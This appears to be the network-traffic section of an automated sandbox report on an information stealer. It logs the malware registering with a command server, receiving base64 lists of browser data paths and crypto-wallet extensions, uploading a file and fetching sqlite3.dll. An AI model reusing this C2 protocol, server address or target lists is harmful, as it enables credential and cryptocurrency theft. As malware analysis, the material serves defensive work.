Oct 12, 2024 13:17:35.976253986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.212471008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.212517977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.212532997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:36.212553978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.212555885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:36.212589979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.212595940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:36.212621927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.212631941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:36.212661982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:36.212662935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.212709904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:36.213984966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:36.219357014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.932501078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:36.932600021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:41.937450886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:41.937566042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:42.765815020 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6312	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 12, 2024 13:17:09.773190022 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 13:17:20.360377073 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:20.363024950 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 43 35 30 34 42 42 45 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"756C504BBEE82078588720------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"doma------GHDAAKJEGCFCAKEBKJJE--
Oct 12, 2024 13:17:20.602840900 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 63 31 4d 6a 55 35 4e 7a 6c 6a 5a 54 41 35 59 32 55 34 59 7a 46 69 4e 54 59 34 4f 54 55 32 4d 47 45 34 59 57 4a 69 4e 7a 59 31 4d 6a 45 77 59 54 51 31 5a 6d 55 31 4e 6a 49 79 59 54 41 35 4f 47 59 77 5a 47 4e 6c 5a 6a 46 6a 4e 7a 5a 6d 5a 54 56 68 4e 6a 59 7a 5a 54 59 78 4e 6a 63 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Njc1MjU5NzljZTA5Y2U4YzFiNTY4OTU2MGE4YWJiNzY1MjEwYTQ1ZmU1NjIyYTA5OGYwZGNlZjFjNzZmZTVhNjYzZTYxNjc3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 12, 2024 13:17:20.604172945 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="message"browsers------JJJKFBAAAFHJEBFIEGID--
Oct 12, 2024 13:17:20.831427097 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 12, 2024 13:17:20.831485033 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 12, 2024 13:17:20.833095074 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEG Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="message"plugins------KFIDAFBFBKFHJJKEHIEG--
Oct 12, 2024 13:17:21.060780048 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 12, 2024 13:17:21.060830116 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 12, 2024 13:17:21.060867071 CEST	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 12, 2024 13:17:21.060900927 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Oct 12, 2024 13:17:21.060935974 CEST	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Oct 12, 2024 13:17:21.060970068 CEST	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Oct 12, 2024 13:17:21.061007977 CEST	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Oct 12, 2024 13:17:21.063126087 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="message"fplugins------HDBGHDHCGHCAAKEBKECB--
Oct 12, 2024 13:17:21.290361881 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:21 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 12, 2024 13:17:21.306128025 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC Host: 185.215.113.37 Content-Length: 5575 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 13:17:21.306145906 CEST	5575	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 12, 2024 13:17:22.158597946 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 13:17:22.418967009 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 12, 2024 13:17:22.649012089 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 11:17:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
